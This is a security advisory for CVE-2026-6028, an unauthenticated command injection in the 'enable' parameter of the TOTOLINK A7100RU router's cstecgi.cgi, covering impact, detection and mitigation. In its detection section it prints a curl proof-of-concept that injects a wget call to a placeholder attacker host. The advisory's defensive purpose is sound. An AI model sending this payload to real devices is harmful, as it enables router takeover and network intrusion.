Executive Summary

CVE-2026-6028 is a remote command injection vulnerability found in the TOTOLINK A7100RU router, specifically in version 7.4cu.2313_b20191024. The flaw exists in the CGI script cstecgi.cgi, within the function that processes the "enable" parameter. This parameter is not properly sanitized before being passed to a system command execution function, allowing an attacker to inject and execute arbitrary operating system commands remotely by sending a crafted HTTP POST request.

Useful 0 Not Useful 0

Impact Analysis

This vulnerability allows an attacker to remotely execute arbitrary OS commands on the affected TOTOLINK A7100RU router without any authentication. This can lead to full compromise of the device, enabling the attacker to control the router, intercept or manipulate network traffic, install malware, or use the device as a foothold for further attacks within the network.

Useful 0 Not Useful 0

Detection Guidance

This vulnerability can be detected by monitoring for suspicious HTTP POST requests to the /cgi-bin/cstecgi.cgi endpoint that include the "enable" parameter with unusual or command-like values.

A practical detection method is to capture and analyze network traffic for POST requests containing JSON payloads with the "enable" parameter set to commands such as wget or other shell commands.

For example, using a tool like tcpdump or Wireshark, you can filter HTTP POST requests to the vulnerable endpoint:

• tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep '/cgi-bin/cstecgi.cgi'

Alternatively, using curl or similar tools, you can test the vulnerability by sending a crafted POST request with a payload containing a command in the "enable" parameter to see if the router executes it (only in a controlled environment):

• curl -X POST http://[router_ip]/cgi-bin/cstecgi.cgi -d '{"enable":"wget http://[attacker_ip]/testpoc"}' -H 'Content-Type: application/json'

Useful 0 Not Useful 0

Mitigation Strategies

Immediate mitigation steps include restricting access to the vulnerable /cgi-bin/cstecgi.cgi endpoint by implementing network-level controls such as firewall rules to block unauthorized external access.

Additionally, disabling remote management features on the TOTOLINK A7100RU router can reduce exposure to remote exploitation.

If possible, update the router firmware to a version that patches this vulnerability or contact the vendor for an official fix.

As a temporary workaround, monitor logs and network traffic for suspicious POST requests targeting the "enable" parameter and block or alert on such activity.

Useful 0 Not Useful 0

Compliance Impact

The provided information does not specify how CVE-2026-6028 affects compliance with common standards and regulations such as GDPR or HIPAA.

Useful 0 Not Useful 0